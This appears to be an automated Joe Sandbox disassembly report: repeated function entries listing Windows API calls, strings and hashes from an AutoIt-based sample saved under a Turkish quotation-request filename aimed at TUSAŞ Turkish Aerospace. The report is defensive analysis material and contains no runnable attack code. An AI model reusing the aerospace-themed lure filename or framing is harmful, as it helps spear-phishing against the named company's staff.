Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: GlobalMemorySleepStatus
String ID: @
API String ID: 2783356886-2766056989
Opcode ID: 89a5f36fd64f02a1e3746cde7bb4cd0c8887fa5815d4261d0287c706eb5d85fd
Instruction ID: c7486becd3cddd189587034ea2304d3334b4d16b760bd03825a020b1c3ba0e1c
Opcode Fuzzy Hash: 89a5f36fd64f02a1e3746cde7bb4cd0c8887fa5815d4261d0287c706eb5d85fd
Instruction Fuzzy Hash: 53516CB1408744ABE320EF50DC85BAFB7E8FF86344F81885DF2D841095DBB98929DB56

Function 01009734 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 138COMMON

Download Yara Rule

APIs

Part of subcall function 00FA4F0B: __fread_nolock.LIBCMT ref: 00FA4F29

_wcscmp.LIBCMT ref: 01009824
_wcscmp.LIBCMT ref: 01009837

Strings

FILE, xrefs: 01009770

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: _wcscmp$__fread_nolock
String ID: FILE
API String ID: 4029003684-3121273764
Opcode ID: 8385f9319e0a51883b095e72433cc4fc076e8c9837522032abc7766b085a65ab
Instruction ID: 469c8a53b0b2569999169cc8a9c9fd6ead3833444196e26bc3e9f5ada9eea702
Opcode Fuzzy Hash: 8385f9319e0a51883b095e72433cc4fc076e8c9837522032abc7766b085a65ab
Instruction Fuzzy Hash: AF41D971A0020ABAEF219BA4CC45FEFBBFDDFC5714F004469F944A7181DAB5AA049B61

Function 0101258E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 97networkCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0101259E
InternetCrackUrlW.WININET(?,00000000,00000000,0000007C), ref: 010125D4

Strings

|, xrefs: 010125A5

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: CrackInternet_memset
String ID: |
API String ID: 1413715105-2343686810
Opcode ID: 8f73c9dd753575b712b128838f2fb097ea84c7514286f677b9d45c4d61114e44
Instruction ID: 1c92e561d99f61328909c6c3822aab330e192ffc5e314307787479650630e1e2
Opcode Fuzzy Hash: 8f73c9dd753575b712b128838f2fb097ea84c7514286f677b9d45c4d61114e44
Instruction Fuzzy Hash: DA3146B1800209EBCF01EFA5CC85EEEBFB8FF09340F100059F915A6166EB395A56DB60

Function 01027A71 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 97windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001132,00000000,?), ref: 01027B61
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 01027B76

Strings

', xrefs: 01027ACA

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: MessageSend
String ID: '
API String ID: 3850602802-1997036262
Opcode ID: ac7810f7dd0c2a6f07b1650bf261167a51bad45a2b30906791e51fae1c6e2a1e
Instruction ID: 40f1170545f142ddace434d851e3fbc2c0b8abd5ce745f0516df758a17f186c7
Opcode Fuzzy Hash: ac7810f7dd0c2a6f07b1650bf261167a51bad45a2b30906791e51fae1c6e2a1e
Instruction Fuzzy Hash: 25413B74A0121A9FDB54CFA8C880BDABBF5FF48310F1001AAEA44AB341D731A951CF90

Function 01026A63 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?,?,?), ref: 01026B17
MoveWindow.USER32(?,?,?,?,?,00000001,?,?,?), ref: 01026B53

Strings

static, xrefs: 01026AB3

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: Window$DestroyMove
String ID: static
API String ID: 2139405536-2160076837
Opcode ID: 63cf73f1937ae9ad7720d0c3276c866ef0b87ab0071b982ba06fc0b41cd7a2ea
Instruction ID: 6158dc4b38ea7c7f36cb294698072d9f99e5537802d4bf84fe837ea5f9da1b2b
Opcode Fuzzy Hash: 63cf73f1937ae9ad7720d0c3276c866ef0b87ab0071b982ba06fc0b41cd7a2ea
Instruction Fuzzy Hash: A6319E71200214AEEB119F69CC80BFB77F9FF49760F108619F9E997190DA36AC91DB60

Function 010028A2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 88windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 01002911
GetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 0100294C

Strings

0, xrefs: 0100290A

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: InfoItemMenu_memset
String ID: 0
API String ID: 2223754486-4108050209
Opcode ID: b45c281a670a5c9c2fe4a8657754adefeed60c5c27bab6765a3da1b1da786af0
Instruction ID: f6f6bbd1eda1ec4ff7f0d2dd513dbd7ea86fdaa43870dbb687a65a3eb649b1bf
Opcode Fuzzy Hash: b45c281a670a5c9c2fe4a8657754adefeed60c5c27bab6765a3da1b1da786af0
Instruction Fuzzy Hash: 3C3191316003069BFB66CE9CCD89BAEBFF8EF45390F140099EAC5A61E1DB709544CB52

Function 010139E9 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 84COMMON

Download Yara Rule

APIs

__snwprintf.LIBCMT ref: 01013A66

Part of subcall function 00FA7DE1: _memmove.LIBCMT ref: 00FA7E22

Strings

, $, xrefs: 01013AA6
AUTOITCALLVARIABLE%d, xrefs: 01013A58

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: __snwprintf_memmove
String ID: , $$AUTOITCALLVARIABLE%d
API String ID: 3506404897-2584243854
Opcode ID: 0b320eb116ff75475d3cb98d22c0be03c68854e9113de04140aab9dfd4a80f39
Instruction ID: 1efe95262c9f05985eac74e6ca866801c70ec09e0b884fd7692ccee9bd9f9f82
Opcode Fuzzy Hash: 0b320eb116ff75475d3cb98d22c0be03c68854e9113de04140aab9dfd4a80f39
Instruction Fuzzy Hash: 3E21E471A00219AFCF10EF65CC82EAE7BB9BF45720F804459F945AF142DB38E941DB61

Function 010266D4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000143,00000000,?), ref: 01026761
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 0102676C

Strings

Combobox, xrefs: 0102672E

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: MessageSend
String ID: Combobox
API String ID: 3850602802-2096851135
Opcode ID: edce9ab0afd3449365d242d624f660dd32823e28af07eaf185aedaefa941b3c8
Instruction ID: 42c2f03f13e41523d80608a7d3c5d037512773537a7ea9688c26c5e5dc9a3317
Opcode Fuzzy Hash: edce9ab0afd3449365d242d624f660dd32823e28af07eaf185aedaefa941b3c8
Instruction Fuzzy Hash: CA11E975200119AFEF618E18DC84EBB37AAFB49394F100125FD9497291E636DC5087A0

Function 01026C07 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 00FA1D35: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00FA1D73
Part of subcall function 00FA1D35: GetStockObject.GDI32(00000011), ref: 00FA1D87
Part of subcall function 00FA1D35: SendMessageW.USER32(00000000,00000030,00000000), ref: 00FA1D91

GetWindowRect.USER32(00000000,?), ref: 01026C71
GetSysColor.USER32(00000012), ref: 01026C8B

Strings

static, xrefs: 01026C4E

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: Window$ColorCreateMessageObjectRectSendStock
String ID: static
API String ID: 1983116058-2160076837
Opcode ID: 53c9b464fe1d9c42e2985bd6b18c32e78838475cfb96c3b829d9aec3175e71c1
Instruction ID: ce7431ca93015295eaa23fa71ca943cfd34fdda80ce088d85b4fc12019afe58e
Opcode Fuzzy Hash: 53c9b464fe1d9c42e2985bd6b18c32e78838475cfb96c3b829d9aec3175e71c1
Instruction Fuzzy Hash: A9211472A1021AAFDB15DFA8C845AFA7BB8FB08354F104629FD95D3240D63AE8509B60

Function 01026920 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 64windowCOMMON

Download Yara Rule

APIs

GetWindowTextLengthW.USER32(00000000), ref: 010269A2
SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 010269B1

Strings

edit, xrefs: 01026986

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: LengthMessageSendTextWindow
String ID: edit
API String ID: 2978978980-2167791130
Opcode ID: 6cc8cb513df570de8bf8471e9db9d2f3463e0eabe80a2e1ba75b6dc2afe7bf9b
Instruction ID: f8da35558eda9242706d2528760d09ee4ec7a930f3e988e33c0f018abfc7f227
Opcode Fuzzy Hash: 6cc8cb513df570de8bf8471e9db9d2f3463e0eabe80a2e1ba75b6dc2afe7bf9b
Instruction Fuzzy Hash: FE116A71600229ABEB618E68DC44EEB3BADEB053B4F504754FEE1961D0CA36DC519BA0

Function 010029AF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 01002A22
GetMenuItemInfoW.USER32(00000030,?,00000000,00000030), ref: 01002A41

Strings

0, xrefs: 01002A18

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: InfoItemMenu_memset
String ID: 0
API String ID: 2223754486-4108050209
Opcode ID: e040526ae10db117857e6765a4d8e173d387286c7f584468b3bd68231c70fe8c
Instruction ID: dfa69ec7a49176f8699b7b6a4f76543d38eb7739b913d96bd5f97141604c1fd1
Opcode Fuzzy Hash: e040526ae10db117857e6765a4d8e173d387286c7f584468b3bd68231c70fe8c
Instruction Fuzzy Hash: FF11B932901124ABFF76DE5CDC48BAE77F8AB46390F044091E9D5E72D0DB70A945C791

Function 010121D6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62networkCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(?,00000000,00000000,00000000,00000000), ref: 0101222C
InternetSetOptionW.WININET(00000000,00000032,?,00000008), ref: 01012255

Strings

<local>, xrefs: 0101221D

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: Internet$OpenOption
String ID: <local>
API String ID: 942729171-4266983199
Opcode ID: e8c830abdb727596e3042fd06fd25bf072986419793d31b5bac66407ccd66aa4
Instruction ID: 30191efc4627eecfa95bbd29f593842300d289fb36375a9199dcc2aa46e9ea2a
Opcode Fuzzy Hash: e8c830abdb727596e3042fd06fd25bf072986419793d31b5bac66407ccd66aa4
Instruction Fuzzy Hash: 75110270501225FADB258F158C88EFFFFA8FF06291F20826AFA8486004E2785894C6F0

Function 00FF8E05 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00FA7DE1: _memmove.LIBCMT ref: 00FA7E22

Part of subcall function 00FFAA99: GetClassNameW.USER32(?,?,000000FF), ref: 00FFAABC

SendMessageW.USER32(?,000001A2,000000FF,?), ref: 00FF8E73

Strings

ListBox, xrefs: 00FF8E3D
ComboBox, xrefs: 00FF8E12

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: ClassMessageNameSend_memmove
String ID: ComboBox$ListBox
API String ID: 372448540-1403004172
Opcode ID: 0836eba57d078cdc858a76bab9d0656f6f91a868c4f704401484bce6bd8a0f7f
Instruction ID: 2ffc7940531c02fee8533ab013164aa29f6c58844a24a0d88aee2a14bcdc9efd
Opcode Fuzzy Hash: 0836eba57d078cdc858a76bab9d0656f6f91a868c4f704401484bce6bd8a0f7f
Instruction Fuzzy Hash: 8701F1B1A41219AB8B14EBE0CC41DFE7368EF0A360B100A09F9656B2E1DE39580CE650

Function 00FF8CFD Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00FA7DE1: _memmove.LIBCMT ref: 00FA7E22

Part of subcall function 00FFAA99: GetClassNameW.USER32(?,?,000000FF), ref: 00FFAABC

SendMessageW.USER32(?,00000180,00000000,?), ref: 00FF8D6B

Strings

ListBox, xrefs: 00FF8D35
ComboBox, xrefs: 00FF8D0A

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: ClassMessageNameSend_memmove
String ID: ComboBox$ListBox
API String ID: 372448540-1403004172
Opcode ID: de07283268f517d01a373784b78dbb0c230a17165a78e92445898c27c11f5d12
Instruction ID: 0e828ea2e0427c75c59f2ef43c025e7fc0375ee54f7d1e906345f63624ec73a6
Opcode Fuzzy Hash: de07283268f517d01a373784b78dbb0c230a17165a78e92445898c27c11f5d12
Instruction Fuzzy Hash: AB01D4B1A4110DABCB24EBA0CD52EFF77A8DF1A390F100019B905672A1DE195E0CF271

Function 00FF8D82 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00FA7DE1: _memmove.LIBCMT ref: 00FA7E22

Part of subcall function 00FFAA99: GetClassNameW.USER32(?,?,000000FF), ref: 00FFAABC

SendMessageW.USER32(?,00000182,?,00000000), ref: 00FF8DEE

Strings

ListBox, xrefs: 00FF8DBA
ComboBox, xrefs: 00FF8D8F

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: ClassMessageNameSend_memmove
String ID: ComboBox$ListBox
API String ID: 372448540-1403004172
Opcode ID: 39162f0c839a42932ab8ee16182d05eddbb600b7472916f7a77b6ad2c3a7373c
Instruction ID: 47d21ac87dbd655b76759542a53931bd4f88f30530b99acd26f28bb746a1b8a4
Opcode Fuzzy Hash: 39162f0c839a42932ab8ee16182d05eddbb600b7472916f7a77b6ad2c3a7373c
Instruction Fuzzy Hash: 8401A2B1A4110DA7DB25EBA4CD42EFF77ACDF16390F100019B945A72A2DE298E0DF271

Function 01004F28 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 29COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000100), ref: 01004F46
_wcscmp.LIBCMT ref: 01004F58

Strings

#32770, xrefs: 01004F52

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: ClassName_wcscmp
String ID: #32770
API String ID: 2292705959-463685578
Opcode ID: 5b3dc64a906d3b9e2111922a2256f7cc586a83f9fd2c49008a608eb57cd7dd0d
Instruction ID: 6fe23d54de6d20e493c9998c278bcf2140407e5cf80e333c5cd41b2698f15c8a
Opcode Fuzzy Hash: 5b3dc64a906d3b9e2111922a2256f7cc586a83f9fd2c49008a608eb57cd7dd0d
Instruction Fuzzy Hash: 49E0D8336002292BE730AA9AAC4AFA7F7FCEB45B70F01005BFD44D7041D565AB4587E0

Function 00FDB2C1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00FDB314: _memset.LIBCMT ref: 00FDB321

Part of subcall function 00FC0940: InitializeCriticalSectionAndSpinCount.KERNEL32(?,00000000,?,00FDB2F0,?,?,?,00FA100A), ref: 00FC0945

IsDebuggerPresent.KERNEL32(?,?,?,00FA100A), ref: 00FDB2F4
OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule,?,?,?,00FA100A), ref: 00FDB303

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 00FDB2FE

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: CountCriticalDebugDebuggerInitializeOutputPresentSectionSpinString_memset
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 3158253471-631824599
Opcode ID: 00b2df782733cf215fef82e628c503579a61314b41128271e941c502de66cbd8
Instruction ID: 3987e6fc83d0ca67511c2f8893248d23edd2c54a569be5f9b96fdd37f6ca7d19
Opcode Fuzzy Hash: 00b2df782733cf215fef82e628c503579a61314b41128271e941c502de66cbd8
Instruction Fuzzy Hash: B1E065B0600302CBD7309F29E9047427AE8AF01794F058A6EE486C7745EBB9E408EBA1

Function 00FE1935 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?), ref: 00FE1775

Part of subcall function 0101BFF0: LoadLibraryA.KERNEL32(kernel32.dll,?,00FE195E,?), ref: 0101BFFE
Part of subcall function 0101BFF0: GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryW), ref: 0101C010

FreeLibrary.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000104), ref: 00FE196D

Strings

WIN_XPe, xrefs: 00FE1788

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
